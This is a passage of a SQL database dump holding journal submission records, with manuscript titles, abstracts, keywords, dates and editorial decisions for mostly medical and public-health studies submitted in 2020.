microscope',3249,NULL,'2020-05-03',NULL,'Submitted',4,NULL,'2020-07-27',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3987,5187,86,0,'ipaom-20-3987','The prevalence of Sexually Transmitted Diseases (STDs) among 25-60 years old men in Iran',NULL,14,0,NULL,'Introduction: \r\nSexually Transmitted Diseases (STDs), especially in men, could lead to multiple morbidities, as well as facilitate the transmission of serious pathogens such as HIV. The present study used data from a nation-wide survey on male morbidities to estimate the prevalence of STDs among men in Iran.\r\nMethod and material:\r\nThis cross-sectional study used data from a nation-wide project on male reproductive morbidities in 2007. 2296 men with age of 25 to 60 years old were recruited by systematic cluster sampling across four provinces (Golestan, Hormozgan, Kermanshah, Isfahan). Data on symptoms of STDs including genital secretion, pushing out, itching or genital ulcers, lymphadenopathy of the inguinal area after sexual contact was collected by trained urologists. Data analysis was done using SPSS. Independent samples T-test and Chi-squared tests were used for the analysis.\r\nResults:\r\n2296 men with the mean (SD) age of 39.95 (10.3) years were interviewed. Two-thirds of all subjects (75%) were aware of using condoms in suspected sexual relationships; while only 69% of them actually used condoms in those circumstances. Overall, 14 subjects (0.6%) had one type of STDs at the time of the study.  One-Hundred and ten subjects (4.7%) answered “yes” to the question of whether they were referred to a physician for sexual problems. \r\nConclusion:\r\nThe prevalence of STDs is still low among male population in Iran. Careful and well-designed surveillance system to monitor the incidence of STDs and implementation of proper preventive measures to restrict the spread of sexually transmitted pathogens are amongst proposed recommendations. \r\n','Sexually Transmitted Diseases, Male, Iran, population-based survey',3031,NULL,'2020-05-03',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','Send for revision',0,'','',2,0,0,0,NULL,0),(3996,5195,45,0,'iphsj-20-3996','ASSESSMENT OF RADIATION PROTECTION PRACTICES IN ABBAS INSTITUTE OF MEDICAL SCIENCES MUZAFFRABAD',NULL,14,0,NULL,'Background/objective\r\nThere is a substantial need for radiographers to improve their awareness of radiation protection issues and their knowledge of radiological procedures. Specific actions such as regular training courses for both undergraduate and postgraduate students as well as for working radiographers must be considered in order to assure patient safety during radiological examinations. The study aimed to improve the Radiology Department in aspects of radiation protection by use of devices and providing information about improvement in education of all the workers and patient about radiation hazards.\r\nMethodology\r\nThis descriptive study was carried out in the Department of Radiology and Medical Imaging, Abbas Institute of Medical Sciences (AIMS) Muzaffarabad, Azad Jammu & Kashmir (AJK) from a period of August 2016 to January 2017. The calculated sample size was 29 and all the staff members and students who worked in the Radiology Department were included in the study following the inclusion and exclusion criteria. A radiation protection practices were assessed by observing the availability of all radiation protection kits.\r\nResults\r\nThere were only 5 (17%) trained and having diploma in radiology while 83% of -study subjects were non-technical and un-trained although educated in various science and arts qualification. Among all the study participants, 53% showed positive responses about their knowledge, attitude and practices about radiology procedures.\r\nConclusion\r\nThere is a substantial need for radiographers to improve their awareness of radiation protection issues and their knowledge of radiological procedures.','Radiation exposure, Radiation protection, Dosimeter, X-rays, CT scan',686,NULL,'2020-05-04',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3997,5196,45,0,'iphsj-20-3997','Comparison of Intraoral External Oblique Ridge Fixation and Transbuccal Lateral Cortical Plate Fixation for Mandibular Angle Fracture – A randomized Control Trial',NULL,14,0,NULL,'Background/objectives: Mandibular fractures account for almost half of all the fractures occurring in the maxillofacial region. Among mandibular fractures, angle fracture has a highest rate of post-operative complications (0 – 32 %). This study compared the fixation of mandibular angle fracture with intra oral external oblique ridge fixation versus transbuccal lateral cortical plate fixation using a single miniplate. Post-operative complications especially infection was noted and compared.\r\nMethods: A randomized controlled trial was done to compare the outcome of the two procedures. A total of 120 mandibular angle fracture patients were randomly allocated into Group A and Group B, 60 in each group. Group A underwent ORIF with intraoral approach and Group B underwent ORIF with transbuccal lateral cortical plate fixation for mandibular angle fractures. Patients of both groups were reviewed on 1st week, 1st month and third month for clinical signs of infection.\r\nResults: In group A, 10 (16.66%) patients suffered from infection and in group B, 4 (6.66%) of patients reported with infection at the last follow up visit that is at the end of 3 months. No statistically significant p value after application of ‘Chi square test’ was noted for infection and malocclusion at the end of the third month review.\r\nConclusion: Mandibular angle fractures can be effectively treated with transbuccal lateral cortical plate fixation as ease of plate adaptation, placement of plate in mid neutral area and less chance of infection, and malocclusion.','External oblique ridge fixation, lateral cortical plate fixation, mandibular angle fracture, miniplates, ORIF',643,NULL,'2020-05-04',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3999,5197,73,0,'ipjnn-20-3999','Clinical and Neurophysiological Pattern of Guillain-Barré Syndrome in Hospitals Based Study in Dhaka, Bangladesh',NULL,14,0,NULL,'Background: Guillain-Barré syndrome (GBS) is an acute, frequently severe and fulminant polyradiculoneuropathy that is autoimmune in nature. Incidence and predominant subtypes of GBS differ geographically. Electrophysiology has important role in diagnosis and subtyping GBS. The aim of study is to evaluate the electrophysiological pattern of in patients of GBS. Methods: This study was a hospital based cross-sectional descriptive study and conducted at the department of neurology in Sir Salimullah Medical College & Mitford Hospital, Dhaka and National Institute of Neurosciences and Hospital, Dhaka during July 2017 to June 2018 for duration of one year. Clinically diagnosed 53 patients of GBS were enrolled according to prefix selection criteria. Detail history taking, clinical examination, nerve conduction study and CSF examination was performed in all cases. Clinical findings, NCS parameters, CSF findings and demographic profiles were evaluated. Results: There were total 33(62.26%) males and 20(37.78%) females 33(62 %) with male: female ratio 1.7:1. The mean age of the patient group was within the range of 41.64 (±14.56) years. The maximum incidence of GBS was found in 4th decade (33.96%). Clinically two third of patient had both upper and lower limb involvement 62.26% ,Facial weakness 32.07% and 13.2% had bulbar involvement.  AIDP, AMAN and AMSAN were found to be 51%, 32% and 17% respectively. CSF protein was elevated in most of the patients with a range of 16-725 mg/dl. Highest CSF protein was found in AIDP.Conclusion: Electro-physiological studies play an important role in the early detection; characterization of GBS. In this study, the commonest type of GBS was AIDP. Higher levels of CSF protein, absent H-reflex and F-response, sural sparing and unexcitable nerves are more frequently present in AIDP.','Neurophysiological, Guillain-Barré syndrome, Nerve conduction study, H-reflex , F-response',345,NULL,'2020-05-04',NULL,'Submitted',2,NULL,'2020-07-25',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4001,5201,45,0,'iphsj-20-4001','PREVALENCE OF WORK-RELATED MUSCULOSKELETAL SYMPTOMS AMONG COMPUTER OPERATORS IN INFORMATION TECHNOLOGY OFFICES',NULL,14,0,NULL,'PREVALENCE OF WORK-RELATED MUSCULOSKELETAL SYMPTOMS AMONG COMPUTER OPERATORS IN INFORMATION TECHNOLOGY OFFICES\r\n\r\nAbstract:	\r\nObjective:  To determine the prevalence of work-related musculoskeletal symptoms among computer operators working in information technology (IT) offices of Lahore.\r\nMethodology:\r\nIt was a cross sectional study with sample size of 103 subjects working in IT offices of Lahore from November 2017 to January 2018. The convenience purposive sampling technique was used to collect the data by using modified Nordic questionnaire, Visual Analogue Scale and Face Pain Rating Scale. The participants were recruited on the basis of specific inclusion and exclusion criteria; IT officers with ≥ one year working experience and 20-50 years of age were included n participants with history of any systemic disease and/or trauma were excluded.\r\n\r\nResults:\r\nThere were 58.25% (n=60) males and 41.75% (n=43) females participants. The mean age of the participants was 35±15 years and mean weight of females was 56±5 kg and males were 75±5 kg. The pain intensity mean was 3.45±2.11 on VAS. Most of the participants were using Laptops 87.37%( n=90). The muscular heaviness in neck and shoulder was reported in 20.38% (n=21) participants and feeling of weakness was also reported by same number of participants. The muscular tightness was felt by 23.30% (n=24) while 11.65% (n= 12) participants had symptoms of musculoskeletal swelling (spasm).\r\n Conclusion:\r\nThis study concludes that computer operators have work-related musculoskeletal symptoms more in neck and shoulder regions like pain, heaviness, muscular tightness and the effected participants were working from 5 to 8 hours a day continuously. The effected IT professionals neither do exercise nor follow standard working ergonomics.\r\n',' Information Technology, musculoskeletal system, pain, risk factors',643,NULL,'2020-05-04',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4003,5204,45,0,'iphsj-20-4003','Magnitude of Induced Abortion and Associated Factors among Female Students of Hawassa University, Southern Region, Ethiopia, 2019.',NULL,14,0,NULL,'Objectives: This study was aimed at assessing the magnitude of induced abortion and associated factors among students in Hawassa University, southern region, Ethiopia, 2019.\r\nMethods: An institution based cross-sectional study was conducted among a total of 422 students selected on the bases of probability simple random sampling method. Pre-tested structured questionnaire was used to collect data. Analysis was made with SPSS 20. Descriptive summary and inferential statistics (Binary logistics regression) were used with a 95%CI and p-value of less than 5% as level of significance. Findings were presented in tables, figure and texts. Confidentiality of information was also secured. \r\nResults: The prevalence of induced abortion in the study setting was found at 68.7 %( 95%CI: 64.15%-73.2%). Participants who used emergency contraceptives had 12 times higher odds of undergoing abortion than those who didn’t use emergency contraceptives at (AOR: 11.95, 95% CI: 5.615-25.326, P<001). Participants who had sexual intercourse had 3 times more odds of undergoing abortion than their counterparts(those who hadn’t have) at (AOR: 3.287, 95% CI: 1.434-7.532, P<05).\r\nConclusions: A higher prevalence of induced abortion was observed in the study area. Contraceptive use and experience of sexual intercourse were identified predictors of induced abortion. Concerned bodies were recommended to work on the identified determinants of induced abortion in the study settings.\r\n','Induced Abortion; Associated Factors; students; Hawassa University. ',3202,NULL,'2020-05-04',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4005,5206,73,0,'ipjnn-20-4005','USE OF INTRAVENTRICULAR VANCOMYCIN IN NEONATAL MENINGITIS  DUETO ELIZABETHKINGILLA MENINGOSEPTICA',NULL,2,0,NULL,'Elizabethkingia meningoseptica is a non-motile, catalase positive, oxidase positive, non-glucose fermenting, gram negative bacilli which is resistant to common drugs active against gram negative organism. It manifest mainly as meningitis in newborns specially in preterms who are immunocompromised. Antibiotics which have shown effectiveness against this organism  includes cotrimoxazole, tigecycline, minocycline, quinolones, piperacillin, tazobactam, cefepime and drugs active against gram positive bacteria such as vancomycin and rifampicin. The major reason for the cautioned use of Intraventricular/Intrathecal therapy has been the significant toxicity that was reported by earlier studies.These included seizures in up to 20% of the patients and chemical ventriculitis in as high as 60% of the patients, though those were considered to be dose related. Few papers have also reported side effects such as transient hearing loss and seizures. Here we report a preterm newborn having E.meningoseptica ventriculitis showing improvement with intraventricular vancomycin without any short term adverse effect in first 6 months of life.','Elizabethkingia . Meningitis . Intraventricular . Vancomycin . Neonate',327,NULL,'2020-05-04',NULL,'Submitted',2,NULL,'2020-07-28',NULL,1,1,'0','accept with minor revision',0,'','',NULL,0,0,0,NULL,0),(4006,5207,326,0,'IPJUS-20-4006','Operating room and personnel during COVID-19 pandemic in case, when clinic is not yet on front-line',NULL,15,0,NULL,'Since the beginning of 2020 new COVID-19 dramatically changed all aspects of life worldwide. Although we have no specific treatment of this disease, importance of preventive measures are invaluable. Prevention of pandemic spread is especially important in hospital settings, but if COVID-19 clinics are routinely treating infected patients with keeping all prescribed preventive rules, clinics which are not yet treating these patients are in continuous alert of COVID-19 accidence. Therefore preventive measures for clinics, which are not yet in front-line, are specific and there is a need in distance work, adequate number of diagnostic tests and protective equipment. Important preventive measure is the creation of interchangeable health care teams.','COVID-19, operating room, health care personnel, prevention',3103,NULL,'2020-05-04',NULL,'Submitted',1,NULL,'2020-06-24',NULL,1,1,'0','This manuscript is accepted',0,'1035','kowsar_s@omicsgroup.co.in',NULL,0,0,0,NULL,0),(4011,5111,45,0,'iphsj-20-4011','A follow up study on false-positive preoperative HIV test results',NULL,14,0,NULL,'Objective:\r\nIn this research we followed up 31,041 HIV screening test results using immunochromatography assays to investigate the incidence of false-positive test results and the time duration within which false positives continued to be produced. \r\n\r\nMethods:\r\nOf the 31,041 cases reviewed, 13 cases returned a false positive result upon initial screening, and were retested, using the same assay, at least twice over 3 years. \r\n\r\nResults:\r\nThe patients ranged in age from 12 to 89 years, with a median age of 68 years, and the male:female ratio was 4:9. The time from the first medical examination to the second assessment ranged from 89 to 519 days, with an average of 239.7 days. Of the 13 cases, four produced false-positive results for the p24 antigen, and nine were false-positive for the HIV antibody.\r\nFive individuals continued to produce false-positive results on further investigation, while eight presented negative results. The five cases with persistent false-positive results included a tendon sheath incision enforcement case, in which the false-positive antibody reaction persisted for 883 days, and an intraocular lens insertion case in which the false-positive reaction persisted for 800 days. The individual metabolic characteristics of the patients may contribute to the false-positive HIV result persisting long term.\r\nThe HIV test results of eight cases were negative after the initial false-positive results. We hypothesize that a nonspecific product was produced through the interaction between a therapeutic drug and the patient’s metabolism to produce transient false-positive reactions. These eight cases were reassessed at an average of 298 days after the first false-positive results, and the nonspecific product produced temporarily might have disappeared within this time. \r\n\r\nConclusion:\r\nIf preoperative HIV screening test is carried out before the therapeutic drugs have taken effect, the number of false-positive reactions may be reduced.','false-positive; HIV; immunochromatography; screening; constitutional disposition; p24 antigen; HIV antibody',388,NULL,'2020-05-05',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4013,5214,45,0,'iphsj-20-4013','Early sexual debut and associated factors among high school and preparatory students in Kindo Koyisha district, Wolayta zone, South Ethiopia',NULL,14,0,NULL,'Background: Early Sexual debut during adolescent period has several potential impacts on sexual and reproductive health of adolescents. Sexual interest peaks around puberty and continues through adolescence. The adolescent sexual interest is motivated by a number of factors, including physiologic changes, nutritional and social factors, peer influences, and rehearsal for identity and adult gender roles\r\nMethods: A cross sectional study was conducted in Kindo Koyisha district, Wolaita Zone, Sothern Ethiopia. About 508 students were selected to be enrolled in this study. \r\nThe Data were analyzed by using SPSS version 20. Both bivariable and multivariable logistic regression analysis were done. Multi-colinearity tests were conducted using variance inflation factor (VIF<10) and tolerance (>0.1) as cutoff. Hosmer and Lemeshew goodness of fit test was used to check for model fitness. Normality tests were done for continuous data. Variables with p<0.05 in multivariable regression were considered as statistically significant. Therefore, the aim of this study was to determine the magnitude and associated factors of early sexual debut among high school and preparatory students in Kindo Koyisha district Wolaita zone southern Ethiopia. \r\nResult: This study revealed that 152 (30.3%), (95% CI= 26.30%-34.38%) of respondents were involved in early sexual debut. Factors associated with early sexual debut were grade  AOR 2.6[1.32-5.13], marital status AOR 0.10[0.049-0.29], watching porn media AOR 1.72[1.01-2.94], having boy/girl friend AOR 2.16[1.38-3.40], not discussing sexual and reproductive health issues with parents AOR 2.91[1.74-4.89]. ','Early sexual debut, students, Kindo Koysha, high school, Ethiopia',3202,NULL,'2020-05-05',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4015,5215,91,0,'ijddr-20-4015','DESIGN AND DEVELOPMENT OF BUDESONIDE PRONIOSOMES FOR TARGETED DRUG DELIVERY',NULL,14,0,NULL,'ABSRTACT\r\nThe aim of the present study was to formulate and evaluate Budesonide proniosomes for enhancement of solubility and bioavailability. The main objective of this research work was to develop and evaluate Budesonide proniosomes. Proniosomes were prepared by slurry method with ratios of surfactant: cholesterol (1.5:1) and by using different carriers. Span 20, Span 40, Span 60, Span 80, sorbitol and Maltodextrin were used for screening. Among them Span 60: cholesterol (1:1) and Maltodextrin were selected as the best surfactant: cholesterol ratio and carrier based on the evaluation. Box-Behnken Design was used to optimize the concentration of span 60, cholesterol and maltodextrin. The prepared proniosomes were evaluated for particle size, entrapment efficiency and In vitro drug release (up to 6 hr). Particle size, entrapment efficiency and In vitro drug release of optimized batch (F14) were found to be 220.3 nm, 81.42 % and 30.71 %, respectively. The data were fitted into zero order model and correlation value found to be 0.952 which indicating controlled release. Formation of niosome from proniosomes and surface morphology of optimized batch was studied by Inverted Microscopy and Transmission Electron Microscopy, respectively. Statistical analysis of Ex-vivo permeation enhancement assessed from flux, permeability coefficient and enhancement ratio were significantly higher for proniosomes as compared to control. There were no signs of instability such as agglomeration, crystallization and variation on particle size and entrapment efficiency seen even after 30 days of stability studies. The preparation method of Budesonide proniosomes was more efficient and more effective. The optimized Budesonide proniosomes did improve the solubility and bioavaibility of budesonide and offer a new approach to enhance the targeted drug delivery system of poorly water soluble drugs.\r\n','Proniosome, budesonide, niosomes, Slurry method',2474,NULL,'2020-05-05',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'1','accepted',0,'','',NULL,0,0,0,NULL,0),(4017,5217,86,0,'ipaom-20-4017','EXPLORING THE SECRETS OF THE CORONA VIRUS: WHAT DOES DURATION OF CONTACT MEAN IN COVID-19.',NULL,9,0,NULL,'To facilitate the healthcare workers working in COVID-19 clinics, management and administration of district Nowshera, of KP state of Pakistan to handle suspects, we thought of to give facts and figures on the impact of positive contact history and its correlation with 2019-nCoV infectivity, hence we followed few clinical interventions.','COVID-19',3386,NULL,'2020-05-06',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(4024,5226,45,0,'iphsj-20-4024','prevalence and predisposing factors of neonatal mortality in Gicumbi District',NULL,14,0,NULL,'ABSTRACT\r\nBackground:  Rwanda has registered tremendous achievements in health sector and one of the example is reduction of 46% of mortality of neonates in last decade. However, this reduction is lower than for under-five mortality which is 68% from 2005 to 2015 and in last demographic health survey, Gicumbi District, one of 30 Districts of Rwanda recorded neonatal mortality rate at 22/1,000. The aim of this study is to determine prevalence and predisposing factors of neonatal mortality in Gicumbi District from April 1,2019 to June 30, 2019.\r\nMethods: The study was retrospective cross sectional study. Overall population of interest comprised of 349 neonates. Quantitative data were secondary data and were collected using pre-tested data extraction tool. Statistical analysis included bivariate, multivariate, and logistic regression analyses at P <0.05. Data were analyzed using Statistical Package for Social Science (SPSS) version 21. \r\nResults: The study found that the prevalence of neonatal mortality is 1.7/100. For neonates, female neonates occupied 53.9% (n=188), normal birth weight (82.5%, n=288), and above half were born at hospital (53.9%, n=188). Near all births occurred in Northern province (n=346, 99.1%) and the majority of them are from Gicumbi District (93.7%). For mothers, more than half were in Social category 3 (54.2%) followed by Category 2 (29.2%) and Category 1 (11.4%). 90% belonged to Mutuelle (Community Health based insurance). Married, single and divorced constituted the subgroups of marital status and 94.3% in this research were married. Mothers who attended primary school were (n=197, 56.4%) and close to half (n=167, 47.9%) are aged between 25 and 34 years ‘old. Bivariate analysis found that eight (8) variables were statistically significant with neonatal mortality. In multivariable analysis, factors identified as statistically associated with neonatal mortality include: Mothers who were admitted in active phase of labor [AOR=18.5;95%CI=1.7-196.6; P=0.015], admitted in expulsive phase of labor [AOR=36;95%CI=5.4-237.8; P<0.001] and nulliparous [AOR=6;95%CI=1.17-30.7; P=0.031]. Mothers who had not maternal comorbidities [AOR=0.061;95%CI=0.005-0.799; P=0.033], history of placenta previa on pregnancy [AOR=0,029;95%CI=0.02-0.378; P=0.007], mothers who were in social category two to four [AOR=0.235;95%CI=0.121-0.453; P<0.001], married and divorced mothers [AOR=0.192;95%CI=0.065-0.573; P=0.003] had lower odds of neonatal mortality.\r\nConclusions: This study recommends to Rwanda’s Ministry of health, Rwanda Biomedical center and Gicumbi District to work together to redefine maternal and child health interventions that will meet the goal of achieving 10 or less newborns deaths per 1,000 live births and give accreditation to health posts to offer delivery services for pregnant mothers.\r\n\r\n','Keywords: predictors, neonate, mortality, Gicumbi',685,NULL,'2020-05-06',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4032,5080,45,0,'iphsj-20-4032','Total Hip Arthroplasty via Direct Anterior Approach: Clinical Considerations and Physiotherapy Management',NULL,15,0,NULL,'Total hip arthroplasty (THA) is acknowledged to be one the most successful procedures in the field of orthopaedic surgery. Over the last 15 years, the direct anterior approach (DAA) has generated scientific interest because of its soft-tissue preserving nature. DAA is a minimally invasive surgical technique and the patient is usually discharged from hospital 3 to 4 days after the operation. During the early postoperative period, appropriate physiotherapy aims to restore the mobility of the operated hip. The in-hospital physiotherapy should be continued at home, with certain precautions taken to safeguard soft-tissue repair healing and avoid hip dislocation. Additionally, the bone ingrowth in THA-surfaces (osseointegration) must be taken into account when evaluating the degree of postoperative weight-bearing during gait, as well as the hip-joint loading during postoperative physiotherapeutic exercises. Physiotherapy is also essential for restoring any preoperative deficit in the operated limb’s abductor muscles during the patient’s gradual return to everyday activities. The purpose of this article is to discuss well-documented postoperative considerations that could be useful for DAA-surgeons and physiotherapists to minimise the risk of postoperative complications and to achieve the best possible functional health outcome for their patients.','osteoarthritis, hip prosthesis implantation, osseointegration, weight-bearing, exercise performance',388,NULL,'2020-05-07',NULL,'Submitted',2,NULL,'2020-05-15',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4056,5257,86,0,'ipaom-20-4056','Case series of COVID-19 patients who recovered without requiring intubation',NULL,2,0,NULL,'Thousands of individuals worldwide are unfortunately experiencing varying symptoms from severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) (1). While clinical trials are underway to test antiviral and immunomodulatory agents as treatment options, oxygen therapy is currently the main means of supporting patients with respiratory symptoms of coronavirus disease 19 (COVID-19). In moderate to severe cases, this virus has led to hypoxemic respiratory failure requiring various modes of oxygen delivery, including conventional supplemental oxygen, high flow nasal cannula (HFNC), non-invasive positive pressure ventilation (NIPPV), and mechanical ventilation (2). Here, we present three cases of COVID-19 patients in the intensive care unit (ICU) who received oxygen support via HFNC, but recovered well without requiring intubation. ','COVID-19, respiratory therapy, hypoxemia',3386,NULL,'2020-05-09',NULL,'Submitted',2,NULL,'2020-07-07',NULL,1,1,'0','Dear authors, \r\nI am pleased to inform you that your paper has been accepted for publication\r\nBest Regards, \r\nThe Editor',0,'','',NULL,0,0,0,NULL,0),(4058,5259,86,0,'ipaom-20-4058','Systemic lupus revealed by pneumonia',NULL,2,0,NULL,'A patient 29 years old, hospitalized for acute dyspnea and chest pain evolving in a febrile context. Clinical examination found a patient febrile at 38.3°, dyspneic at rest, with rattles. The chest CT had objectified a small spot of right basal pulmonary condensation in favor of interstitial pneumonia to have an infectious origin eliminated first. Biologically, the inflammatory balance had shown, a lymphopenia at 1040/mm 3, a CRP at 32mg/l, sedimentation rate at 90, kidney function, the BK-expectorations were negative The 24-hour proteinuria returned positive at 1.48g, with a 27g/l albuminemia and a total proteidemia at 48g/l. On the immunological balance; the anti-nuclear antibodies were positive spotted at 1/640, the anti-DNAs positive, anti-nucleosome, anti-histone, anti-Sm, were positive. The diagnosis of systemic lupus revealed by pneumonia and complicated glomerular nephropathy was retained.','Systemic lupus - pneumonia- steroids',2890,NULL,'2020-05-10',NULL,'Submitted',4,NULL,'2020-07-14',NULL,1,1,'0','Send for revision according to reviewer comments',0,'','',2,0,0,0,NULL,0),(4060,5262,975,0,NULL,'ENHANCED SECURITY IN AUTHENTICATION USING METADATA MULTIMODAL BIOMETRIC SYSTEM',NULL,4,0,NULL,'To improve security accuracy, efficiency, robustness, applicability and universality and authenticate legitimate users and identify impostor in biometric authentication, fusion of multiple biometric traits (hard and soft) using serial architecture is promising. Biometric systems are automated means by which physical traits (0r sometimes behavior) are used to identify a person or verify person’s identity. They are now widely employed in many real time application including touch enabled mobile phones. Increased implementation also increases the amount of forgeries and attacks. One method of dealing with this issue is the implementation of multimodal biometrics. Here, the fusion of fingerprint, palm vein, hand geometry and password at the decision level is employed to authenticate legitimate users and identify impostor and enhance security. Combination of these causes much less hassle to the user and is less complicated, since user comfort and ease is also a main priority.\r\nKeywords: Biometrics, Multi-modal, Fingerprint, Palm print, Hand geometry, Security, password. \r\n','',3460,NULL,'2020-05-10',NULL,'Submitted',4,NULL,'2020-05-27',NULL,1,0,'0',NULL,0,'','',3,0,0,0,NULL,0),(4061,5263,975,0,NULL,'Ms',NULL,15,0,NULL,'ABSTRACT :\r\nCorona virus Disease 2019 (COVID-19) threatens to overwhelm our medical infrastructure at the regional level causing spikes in mortality rates because of shortages of critical equipment, like ventilators. Fortunately , mass distributed manufacturing of ventilators has the potential to overcome medical supply shortages. In this study,  a background on ventilators, the academic literature will be  reviewed to find the existing and already openly-published, vetted designs for ventilators systems. There is a large amount of future work needed to move open source ventilators up to the level considered scientific-grade equipment, and even further work needed to reach medical-grade hardware. Future work is needed to achieve the potential of this approach by developing policies, updating regulations, and securing funding mechanisms for the development and testing of open source ventilators for both the current COVID19 pandemic as well as for future pandemics and for everyday use in low-resource settings.\r\nA decision support system has been developed for the treatment and management of patients on mechanical ventilation. The following criteria will be used in the design of the system; a) to regulate arterial blood gases within the normal range, b) to optimize ventilatory treatment in order to minimize the breathing work rate, and c) to reduce the weaning time from the ventilator. The system incorporates many safety features and can be used as an advisory tool as well as an informative source of patient data. Another application of the system is in automatic control of weaning. An overview of different methodologies used in various intelligent decision support systems (IDSSs) for mechanical ventilation will be provided. The applications of the techniques are compared in view of today\'s intensive care unit (ICU) requirements. Information available in the literature is utilized to provide a methodological review of different systems. Comparisons are made of different systems developed for specific ventilation modes as well as those intended for use in wider applications. The inputs and the optimized parameters of different systems are discussed and rule-based systems are compared to model-based techniques. The knowledge-based systems used for closed-loop control of weaning from mechanical ventilation will be described. Finally, in view of increasing trend towards automation of mechanical ventilation, the potential utility of intelligent advisory systems for this COVID 19 pandemic situation will be reviewed.\r\n','Mechanical ventilation, decision support, acid-base, gas exchange',3460,NULL,'2020-05-10',NULL,'Submitted',4,NULL,'2020-05-27',NULL,1,0,'0',NULL,0,'','',2,0,0,0,NULL,0),(4064,5268,86,0,'ipaom-20-4064','DNA sequencing- an overview',NULL,2,0,NULL,'The four best known DNA sequencing techniques are reviewed. Important practical issues covered are read-length, speed, accuracy, throughput, cost, as well as the automation of sample handling and preparation. The methods reviewed are: (i) the Sanger method and its most important variants (enzymic methods); (ii) the Maxam & Gilbert method and other chemical methods; (iii) the Pyrosequencing method--DNA sequencing in real time by the detection of released pyrophosphate (PPi); and (iv) single molecule sequencing with exonuclease (exonuclease digestion of a single molecule composed of a single strand of fluorescently labelled deoxynucleotides). Each method is briefly described, the current literature is covered, advantages, disadvantages, and the most suitable applications of each method are discussed. DNA sequencing is essentially another term for “reading the DNA double helix” or determining the sequence of its nucleotides or bases. Nucleotides are comprised of four chemical bases: adenine (A), thymine (T), cytosine (C), and guanine (G). These bases always form the same base pairs within the DNA double helix: A always pairs with T, and C always pairs with G. This pairing is important for many processes in the cell, including the copying of DNA molecules during cell division. It is also fundamental in DNA sequencing.About three billion base pairs of human DNA, the human genome, were sequenced as part of the Human Genome Project (HGP), a collaborative project involving an international team of researchers. The sequencing techniques that were developed to execute the project not only enabled the sequencing of most of the human genome, they also identified and mapped most of the genes within the human genome','DNA sequencing,sanger sequencing , chain termination , nucleic acid',3067,NULL,'2020-05-10',NULL,'Submitted',1,NULL,'2020-07-10',NULL,1,1,'0','Reject the article as it was already existing',0,'','',NULL,0,0,0,NULL,0),(4065,5269,91,0,'ijddr-20-4065','FORMULATION OF HERBAL HAND SANITIZER WITH LESS ALCOHOL CONTENT AND EVALUATION OF ANTIMICROBIAL ACTIVITIES AGAINST SKIN PATHOGENS',NULL,14,0,NULL,'Herbal  hand  sanitizer was prepared using extracts of Azadirachta indica, Ocimum sanctum, Eugenia caryophyllus, Curcuma longa and Zingiber officinale with aloe bardenesis gel base in which eutectic mixture containing thymol, menthol and peppermint is present gives water.  Glycerol is added to enhance softness and moisturizing effect. There is minimal alcoholic content to reduce skin irritation, dryness, eczema and other harmful effects to skin. The antimicrobial activity test of the prepared herbal hand sanitizer with less percent alcohol content against skin pathogens was checked using disc diffusion method and results were compared with  alcoholic content herbal hand sanitizer. Results concluded that the  herbal  hand  sanitizer  gives  larger  inhibition zone than the  commercially available alcoholic and synthetic hand  sanitizer against  Staphylococcus aureus and Pseudomonas aeruginosa. The efficacy  of  herbal  hand  sanitizer with less alcoholic content was  evaluated  using  microorganism  suspensions  which revealed  that  the  herbal  hand  sanitizer  is  efficient  in  reducing  higher  number  of microorganism from the hands as  compared  to  alcoholic content and  synthetic  hand sanitizer. Thus higher susceptibility for antimicrobial activity and efficacy these herbal extracts with highly reduced alcohol content can be used in the preparation of herbal hand sanitizers on commercial scale. ','herbal hand sanitizer, less alcohol content, hygiene, antimicrobial activity, susceptibility.',2446,NULL,'2020-05-10',NULL,'Submitted',2,NULL,'2020-07-09',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(4070,5274,45,0,'iphsj-20-4070','Hospitalization Rate and Days Spent at Home as Value-Based Outcome Measures for People with Intellectual and Developmental Disabilities',NULL,14,0,NULL,'Background: Although there has been increased usage of value-based outcome measures, there is little research about which measures should be used for people with intellectual and\r\ndevelopmental disabilities (IDD).\r\nMethods: We performed a retrospective review of an internal census and length of stay database for individuals with IDD for whom we provided continuous residential support services between October 1, 2018 and September 30, 2019. Hospitalization rate and inpatient\r\ndays per 1,000 were calculated using standard methodology. Days spent at home was\r\ncalculated as total managed days minus days spent in hospitals or nursing homes.\r\nResults: We provided supportive services for 2,388 individuals with IDD in residential waiver\r\nservices. The population was spread among 12 states and had a mean age of 46.6\r\n(range 13-96). Hospitalization rate was 240 per 1,000 per year. Individuals with IDD\r\nspent an average of 360 days per year at home in the community, outside of hospitals\r\nand nursing homes.\r\nConclusions: Hospitalization rate and days spent at home are emerging value-based outcome\r\nmeasures that may help to align people served, families and stakeholders around the\r\ngoal of enabling people with IDD to spend more time in the community and less time in\r\nhospitals and nursing homes.','Days Spent at Home, IDD, Hospitalization Rate',388,NULL,'2020-05-11',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4071,5275,971,0,'ipaclr-20-4071','Amelioration of COVID-19 Course Using Inhalation of Dimethylsulfoxide(DMSO) and Ethanol Solution; Let\'s play \"Odysseus\" and use a 